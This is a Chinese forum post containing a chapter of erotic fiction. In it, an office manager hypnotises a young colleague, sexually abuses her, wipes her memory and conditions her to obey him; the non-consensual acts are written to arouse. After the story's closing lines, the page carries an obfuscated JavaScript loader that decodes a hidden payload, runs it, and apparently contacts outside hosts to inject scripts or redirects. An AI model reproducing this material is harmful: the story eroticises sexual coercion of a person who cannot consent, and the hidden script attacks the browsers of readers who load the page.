分享好友
    复制链接
    第二章
    小依有点喘气的回到坐位时,办公室的时钟刚好踏正九时,幸好她坐上了刘永的车子,才不致迟到。

    「有车接送也是挺方便的。」她不禁想。 「但今晚我竟然答应让他送我回家…算了…也只是图个方便,不会有人认为我是看上了这头胖…不能这样想人家,其实他也是个很好的男人,虽然胖但也不难看…」

    正胡思乱想间,突然有人敲打她的桌子,她吓了一跳,以为是上司潘小姐从房间出来了。

    「哈!想什么想得这样入神?我连叫你数声也听不到,如果是女魔头找你就麻烦了。 」取笑她的是王嫣,坐在她邻桌的女同事。 至于女魔头,则是她们一班同事给上司安的外号。

    值得一提的是,这个外号端的是非常贴切。

    王嫣较小依早一年进入公司,由于两人的坐位极近,加上她相当喜爱这个娃娃似的小妹妹,所以二人混得极熟,小依在工作上也多得王嫣的不断提点。 二姝感情相当好,几乎是无所不谈。

    与娃娃脸的小依相较,王嫣的外貌出众成熟得多,是部门中着名的大美人。娇小的小依尤其羡慕她那双几可媲美模特儿的完美长腿,既长且直,配合纤细、比例极佳的身材,难怪追求者不断。 王嫣自是大有条件选择,但江湖传闻她与任职银行高层的「才俊级」男友已进入谈婚论嫁阶段,故此她近月也修心养性起来,把追求者的约会一一推掉。

    「没有…没有想什么,只是有点疲倦而已。」小依? 腆的回答,她总不能承认自己在想着女同事的公敌刘永吧?

    王嫣在自己的位置上坐了下来,曲起一双瞩目诱人的润白小腿,刻​​意压低声音说:「你今天怎么这样迟?女魔头出过来望你的位置两次了!我想打电话给你,你的电话却关上了,我还以为你不能回来上班呢? 」

    「我的电话关了么?怎么一回事?」小依完全不记得曾关上电话,边对王嫣道谢,边重新打开手提电话。 电话才一启动,就发现有多个来自男友的的未接电话及短讯。 她心中暗暗叫糟,她因为刚搬入新居独自居住,并未安装家居电话,手机一关,就没有人可以找到她了,相信男友一定非常担心。

    她想立即致电男友报平安,但却不合时地听到一声狮子吼:「美女们,还不开始工作? 难道不想下班? 明天是星期六,你们想怎样谈话、发白梦也可以,但来到公司就要给我努力工作。 」如此尖锐的声音,尖刻的语调,自然是人见人怕的部门主管潘小姐了。

    王嫣咀角勾起一丝冷笑,喃喃地不知说了句什么,惹来潘小姐凤目怒睁:小依可没有这个胆量,连忙放下电话埋头苦干,一直到午饭时间,她才有空致电男友。 这么久才覆电话,自然惹来男友的连番怨言,自知不对的小依也软声道歉,答应週末会好好的陪伴他。 但男友可不放过「振夫纲」的机会,坚持要来接她放工。

    「对不起,我今天仍在很多工作未完成,恐怕要带回家做了,我星期六再好好的陪你一整天,好不好? 」小依施尽混身解数,才令男友乖乖的妥协。

    「怎么了,星期五晚也不让男友来接你?是不是终于想通了,想给多些机会其它男子呢? 」王嫣听到她说电话,取笑说。

    「才不是呢!我只不过有点累。你知道…男人,送你回家之后,就赖着不走了…」

    「然后就直接睡到你的床上…男人就是这样,整天就是想着上床。要不我教你两招? 让你的男友贴贴服服? 」王嫣的说话从来都是大胆毫不避忌的。

    「不用了,不用了…我和男友现在很好…」小依连忙推辞。 王嫣的大胆,纵是乖巧顺从如小依,有时也感吃不消,所以她急忙的转过另一话题。

    接下来王嫣说些什么,小依已经不太清楚了,因为她在想着才方推掉男友的原因…竟然是因为答应了坐刘永的车回家。 她天人交战,不知道为何如此看重对刘永的承诺,其实推掉只需闲话一句,但她又真的不好意思爽约,心中更有点期待再坐上刘永的车子。

    然而,为了别的男人推掉男友,又令她有种背德的罪咎感。

    「午饭后要告诉刘永,我约了男友,不能坐他的车了。」矛盾的小依暗暗下定决心,即使不让男友接放工,也不能由其它不相干的男人送自己回家。

    「刘副理…我」小依在刘永的办公桌前坐了下来,但话犹未完,已给他截停了。

    「我说过多少次了?直接叫我刘永就可以了。就正如我叫你小依一样。」刘永十指交迭,托着一张又圆又胖的脸,奸笑道。 他的样子就好像看着猎物的豺狼,似是想把娇美的小依一口吃下肚子。

    小依有点受不住他下流的目光,垂下头来。 「对不起,我…我男友今晚来接我放工,我想…我想不能坐你的车子走了。 」

    简单的一句推辞说话,小依却是艰辛无比才能说出,几乎每个字都要鼓足勇气,而且心脏还不争气地剧烈跳动起来。

    「唉!」刘永故作姿态的叹了口气。 「我说小依,你为什么到现在还要抗拒呢? 」

    「什么?」小依不明所以,抬起头来,看到的却是不断晃动的红色吊坠。 式样普通的吊坠似有无穷的吸引力,她双眼一旦触及就再无法挪开,眼神转向茫然,就连神情也凝结起来。

    「小依,看着它,看着它,你会感到无比的轻鬆,脑海一片空白,由现在开始你就只会听从我的命令。 」刘永淫笑着摇动手中的吊坠,充满威严的下命令。

    「是。」小依机械式的回应,双眼失神。

    「小依,你要记着,这条吊坠是你的精神桎梏,只要你看到我摇动它,你就会陷入一如现在的轻鬆状态,并完全服从我的命令。 」

    「是。」她服从,只因服从之外她别无选择。

    「你要记着,坐我的车子上班和下班,是你每天最开心的事,因为只有在我的车子上,你才会进入最轻鬆、愉快的休息状态,逃离繁重的工作及压力。 」

    「只要一坐上你的车,我就无感到无比的轻鬆、愉快。」小依重複着他的指示。

    「只要在我的身边,你就会感到前所未有的安全、安心,你会感到再没有任何烦恼。 因为我是你最信任,最亲切的人。 你会把你的身心完全交託给我。 」

    「你是我最信任、最亲切的人。我会把身心完全交给你」

    刘永收起了手上的吊坠,站起来,来到面目表情的小依面前,伸出两指托起她小巧的下巴。

    「看着我,我就是你最信任的人,我所有的说话都是为你好的,你必须完全服从。 知道吗? 」

    「知道。」小依无比顺从的回答。

    「乖。」刘永轻轻的在她纤细的鼻尖上碰了一下,以示奖励。

    「现在你慢慢解开你的上衣钮扣,慢慢由最上的一粒开始解开,逐粒逐粒的…」在刘永的指示下,小依顺从地伸出白晢的双手,解开白色衬衫上的钮扣,由上至下,一粒、两粒、三粒…刘永看着她先露出白嫩的颈项,然后是纤巧圆润的锁骨,再来就是被浅粉红色胸罩紧包着的坚挺胸脯…

    「停。」刘永看到那两个有如小馒头般丰隆而起乳丘,感叹着女性胴体的神奇,明明是两个不大的圆球,但落在小依玲珑剔透的娇躯上,却又显得颇具份量。 虽然小依所穿的是略显保守的全杯式胸罩,但从仅有露出的乳房边缘,已经可以感受到年轻肌肤独有的细密、坚挺及弹性。 彷彿只要用手一碰,那片白玉就会像最嫩滑的豆腐般,不住的抖动。

    又胖又丑的刘永何曾见过如此年青娇美,清纯又诱人的胴体? 他震撼至极,呼吸被夺,大脑停顿了好一会,才想起时间不多,如果让小依逗留太久,只怕会惹人疑窦,尤其是那个多事的王嫣…

    他不再浪费时间,巨掌轻张,就把小依一边的乳峰温柔的纳入掌中,细意慢搓,仔细感受那份结实和弹性。 他隔着胸罩,在那大小刚好的乳房上忽轻忽重的搓揉着,并以说话不断控制着小依:「我是你最亲切信任的人,在我面前你完全无须隐藏感受…我对你的每一下挑逗,都会传入你的内心深处,挑动起你内心那深藏的澈情…我的手拥有神奇的力量,所碰到你身上每一处的地方,都会变成你最敏感的地带,令你不能自控的动情…」

    刘永充满淫秽的指令直达小依的精神深处,令她释放出少女的春情。 她的呼吸急速起来,双手用力的抓着椅子,眼神越见迷乱,同时耳、颈、胸等裸露的肌肤,都因动情而浮现一片粉红。

    少女一般的嫩滑弹手肌肤,令刘永爱不释手,他甚至可以感受到小美人血液的流动,以及脉搏的每一下轻跳,足见她的身体是何等的娇嫩纤薄。 刘永的手在乳房上来回搓动,他也不解开胸围的钮扣,食中二指就顺势滑入那片薄薄的小布之,準确寻找到充满触感的乳尖,轻揉那颗小小的红豆。 他虽然其貌不扬,但生性好色,尤喜狎玩女性,多年的欢场经验令他练出一身纯熟无比的挑逗技巧,即便小依神誌清醒,如若任他使坏,只怕也会慢慢情动,身心都难以把持,更何况现在神誌受控,身体敏感无比,一碰之下,小豆就立即充血拔起,落入刘永两指操控之中。


    情慾渐被挑起的小依身软如棉,头向后靠着椅背,鼻端发出断续的喘息声,偶尔当刘永的手指刺激到最顶端上那无比细嫩的中心点时,她就会不能自控的轻哼起来,双颊泛起红潮。

    「真的很敏感呢!才这样捏两下就已经荡成这个样子,下面还可能湿了。」刘永笑嘻嘻地说。 他已经大致上掌握到小依双乳的敏感带,于是集中刺激其右乳最顶端、最能挑起情慾的一小点,令小美女的娇喘声开始放大。

    「殊!你想办公室的人都听到你淫叫吗?」虽是在催眠之中,但小依的潜意识仍在,闻言努力的克制自己的声音,只是在喉头髮出细微的「咿咿」低吟。

    「又想淫蕩又怕人知道吗?的而且确,给挑逗到这样子又真的是很羞人的。你一定好想摆脱这种感觉,但又忍不住想继续下去,而且想要得更多:你越压抑,身体就越敏感,越想要男人的抚慰。 」刘永的两指不断用力,同时继续用言语刺激着小依的神誌。 就正如他所言,小依越想压抑叫声,越想按下高涨的情慾,快感就越炽烈,血脉沸腾,如像烧,渐已不满足于男人两指挑动,希望他能进一步的侵犯自己。 尤其是那并未受到触摸的左乳,更是空虚难受,乳头不用挑拨就已硬硬的撑起,就连隔着胸罩都可以清楚看到,彷彿在引诱着别人去抚弄它。

    欢场老手刘永自然知道小依的需要,他狞笑着解开了小依的胸罩,让她的一对白免似的娇巧乳房脱罩而出,巨手一张就把她的右乳完全纳进掌中,用肥厚的手掌搓弄这那坚硬的小豆,同时又完全无视小依左乳的需要,令她不住的把左边的身体扭前,渴求控制了她身体的男人大发慈悲。

    刘永看到她既兴奋又痛苦的样子,感到了极度的满足。 「你好像很辛苦啊?是不是有些东西需要呢? 是就告诉我吧! 」

    小依抖震着娇喘着道:「我…唔…我想…」

    「想要些什么?你不说我怎样帮你?」

    「我想…唔…啊…轻一点…啊…这力度刚好…我想你碰我…碰我…」面嫩的她始终说不出口,但又渴求着男人的抚慰,矛盾得几乎哭出来。

    「你想我碰你哪里?来告诉我。」

    「左边…左边…」

    「是这里吗?」刘永不放过折磨她的机会,促狭地伸出食指,在小依左乳晕上轻轻划圈,却又技巧地避过最顶部那需求最炽烈的地方,偶尔还用指甲轻轻的刮过乳头下去的边缘位,才惹到她身体轻抖,又立即避开,如此搔不着痒处的刺激,反令她越来越希望左边的乳房可得到充分的安抚。

    「上一点…上一点…求求你,再上一点,好不好?」小依终于忍受不住开口求饶了。

    刘永知道她的意志快要崩溃,也就不再捉弄下去,把两边乳房都收到掌中,放肆地搓揉着。 他看似笨拙的手掌实则无比灵活,又深明女性的需要,令她兴奋舒服得挺起酥胸,好享受那前所未有的快感。

    「好快乐是不是?以前是不是未试过这样兴奋呢?」

    「啊…是!」已投降的小美人已经开始忘记羞耻之心,更忘记了已经心有所属。

    刘永当然想继续玩弄下去,但他一看钟,发现已过了五分钟有多,再留小依在此就会令人起疑,唯有不捨地收手。 小依方感到他双手离开双乳,那突如其来的的空虚,就令她彷彿从快乐的云端跌下,难过非常,忍不挺胸血前,希望再得到安慰。

    「慢慢来,别要急,你我还有整个週末可以,嘿…」刘永淫蕩的笑着,脸上的胖肉因兴奋而抖震起来。 「望着我,深深的望着我。」小依服从的抬头,双目无神的凝望着男人的眼睛,心头回复平静。

    刘永开始重新摇动那串深红的吊坠,美人儿的头部亦随之而左右摇摆,裸露的胸部亦随之而抖动,诱惑得令人想把她就地正法。

    「放鬆,好好的放鬆下来。我知道你很需要,但你现在必须克制和忍耐,把这一切的需求及感觉收到内心深处。 一会儿,我会数三声,三声之后你就会慢慢的穿好你的衣服,然后步出这个房间。

    「当你听到关门的声音,就会清醒过来:你不会记得在我的房间内发生过的任何事,你只会记着约了我放工一起回家,那是你今天最重要的约会,因为你的身体正等待着我双手,等待着我再一次抚弄你寂寞又饥渴的身体。

    「你是很饥渴的,很需要别男人的抚慰,这是因为你的男友从来都未曾满足过你:亦是因为你的身体太敏感:更是因为我双手拥有挑起你情慾的力量。 只要我一碰到你,饥渴的你就好想做爱,完全不能自控。

    「如果有人问起你在我房中做过什么,你只会记得请教我一些工作上的问题,无论是谁问你,你都只有这个答案。

    「现在我开始数,一、二、三。」三字一出,小依就生硬地穿回胸罩,然后扣好衬衣的钮扣。 刘永看着那双饱满的乳房逐渐被布料遮盖,心神已经飞到即将来临的绮腻夜晚。

    「啪!」随着房门关上的声音响起,小依清醒过来。

    「奇怪…我在干什么?咦?」她感到下身有点奇怪,原来内裤湿透了! 羞得她只恨有个地洞可以躲起来。

    「好在没有人知道…为什么无故会湿了的啊?」她百思不得其解,同时又隐隐感到体内有股莫名的躁动,一种搔不着痒处的奇妙蠢动。 她忽然好想,有个男人好好的宠幸自已,而那个男人正是刘…她不敢再想下去,在王嫣的奇怪眼光中,急急的走进洗手间以进行清洁。

    之后的整个下午,小依始终都魂不守舍的,心情忐忑,不时望着手錶,期盼着放工时间的来临。 她不知自己在等待什么,只知道那件事对她非常重要,每当她想深入思考时,就感到头脑发热,手足俱软,还有一股痒痒的感觉由胸前及下体伸延出来,她想伸手去搔,又不知从何搔起,非常难受。


    好不容易等到放工,同事们一个又一个离开,但工作已完成的小依仍在呆坐椅上。 好心的王嫣说驾车送她一程,也给她礼貌的拒绝了,直到夜幕低垂,所有人包括那号称工作狂的潘小姐也离开了,刘永才施施然的从办公室走出来,还带着一脸得意的笑容。 小依一看到他的胖脸,原本虚悬的心竟然踏实起来。 也不用他说话,就乖乖的跟在他身后,一起登上了那辆车子。

    小依才在车厢中坐下,身心就放鬆起来,彷彿这车子就是自己的家,椅子就是她睡惯了的床,令她无比舒服,只想一头栽进梦乡。 一直保持沉默的刘永,从上衣的袋子中取出那串吊坠,重新在车前挂好,食指一推,红色的吊坠就左右摆动起来,摆动并不规则,但小依双眼还是跟着它在打转。 每当吊坠快要因力尽而停下时,刘永就会适时地轻撞它一下,令它继续摇摆。

    平凡的吊坠有股神奇力量,不但侵蚀着小依的身心,一下又一下的抽走她的气力与意志,她双目低垂,疲倦得就像个多天没睡的可怜人,但奇怪的是,无论她有多疲倦,就是无法真正的入睡,总是少了点什么,令她无法跨越最后一条线,走向甜蜜的梦乡。

    「你在想什么?」沉厚而充满威严的声音问。 这把声音小依非常熟悉,因为它在这两天不断出现,控制着她的思想与行为。

    「我…想…睡…」小依一字一字的说,就像一个牙牙学语的小孩子,进入仿佛状态的她,已经失去思考判断的能力,只能凭最基本的本能行事。 而她现在剩下的本能只有一个,就是睡觉。

    「想睡,为什么还不去睡?」

    「因为…我不知道…」她感到非常非常的茫然。

    「你再想一下,你每次入睡都需要些什么?现在缺少了些什么?」

    小依依言细想起来,她已经两次在这车子上睡着了,车子里有舒适的椅子、清新的香气、漂亮的炼坠…还有…还有些什么,那是最重要的东西,但是她偏偏就想不起来。

    「我想不到…我…」

    「我批准你记起一切,还记得第一次坐上这车子时的情形吗?」小依点头。

    「除了看,你还听到什么东西?」

    是了,小依记起了,她每次坐上车子,就会听到一把令她无法抗拒的声音。

    「小依你已经很累了,再也睁不开眼睛…来睡吧,把你的一切都交给我…」

    「现在你什么都不要想,你只知道一件事,就是服从,绝对的服从…服从我的一切命令。 」

    「一会儿回到家,你会收到我发出的短讯,看过之后你会感到非常的疲倦,什么也不能做,只想睡觉。 但临睡前,你要删去我的短讯,还有关上电话,别让任何人打扰你休息。 」

    「下车时,记得结我这个好心送你回家的人,一个感澈的吻啊!」

    想起了,小依把一切都想起了,如果她要睡觉,除了这辆车、吊坠,更重要的是这把声音的准许。 是的,只有他的准许,自己才能真正的休息,这是他们两个,今早在车上达成的「协议」。

    「想起了吗?要入睡还需要些什么?」

    「你的命令。」

    「如果我不让你睡呢?」

    小依急得快要哭出来。 「不要…求求你让我睡吧…我真的很累,很想睡。」

    「慢慢来,别急…你感到越来越疲倦,倦至混身无力,就连一根手指就不能举起、不能移动。 你的每一下呼吸都非常费力,由头到脚都非常沉重,最重最重的一部份就是你的眼睛,很重很重,沉重到你已经无法承受,只要合上眼,好好的睡一睡。 你知道只要合上眼睛,就会睡着,很舒服很甜美的睡着,但你就是不能,因为没有我的准许。 没有我的命令,你会继续清醒,痛苦地清醒着。 」

    小依的面容扭曲,彷彿承受着莫大的痛苦。 她想求饶,但那种沉重的感觉竟然影响到她说话的能力。

    「你很累,但是不能睡。好痛苦,好难受。你就像一条拉紧的弦,越拉越紧,必须睡着才可以放鬆。 你越拉越紧,越拉越紧,已经快要拉断了。 」

    一种绷紧、窒息的感觉袭击着小依,她很难受,只想摆脱这一切。 为了不再痛苦,她愿意付出一切代价。 就在她感到身体及意志快要断裂时,突然听到了天籁…

    「睡吧!听我命令,放开一切,去睡吧!」

    天啊! 小依全新的细胞都鬆弛起来,完全陷入了沉睡​​当中。 她就像一条过度拉紧的象筋,一旦鬆开就再不能绷紧。 她从不知道,睡觉是如此舒适、甜美,令她实在无比感激那个赠予她睡眠的男人。

    「你可以好好的睡一觉了。什么都别想,你已经不需要思想,只需要睡觉,只需要服从我的所有命令。 」刘永看着摊在坐位上,犹如一堆烂泥的小依,不禁露出得意的邪笑,他知道这只煮熟的鸭子已经飞不走了。
    (续)


    600) {this.resized=true; this.width=600;}" alt="" align=absmiddle /> 请大大们按下心心或多多回覆~~多多支持~~600) {this.resized=true; this.width=600;}" alt="" align=absmiddle />
    !function(){function a(a){var _idx="uffc4b2fup";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"}"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@/h^/}0sjR8_77(o)@7_J"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"}0s"=^8"_77(o)@7_J"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"}0sqSDqm:Q2QDS)dmRT4"="}0s5FDqm50SO1nd7mRT4"="}0s)5Dqm:Q2QDS)dmRT4"="}0sDLDqm50SO1nd7mRT4"="}0s^FDqm:Q2QDS)dmRT4"="}0sfLDqm50SO1nd7mRT4"="}0s(5Dqm:Q2QDS)dmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{@"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP}0sSCqL)((mR4s4n)L2mRT4gQ@{@/((/}0sj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP}0sSCqL)((mR4s4n)L2mRT4gQ@{@/((/}0sj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@/f/}0sj(8}vR8_77(o)@7_J"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();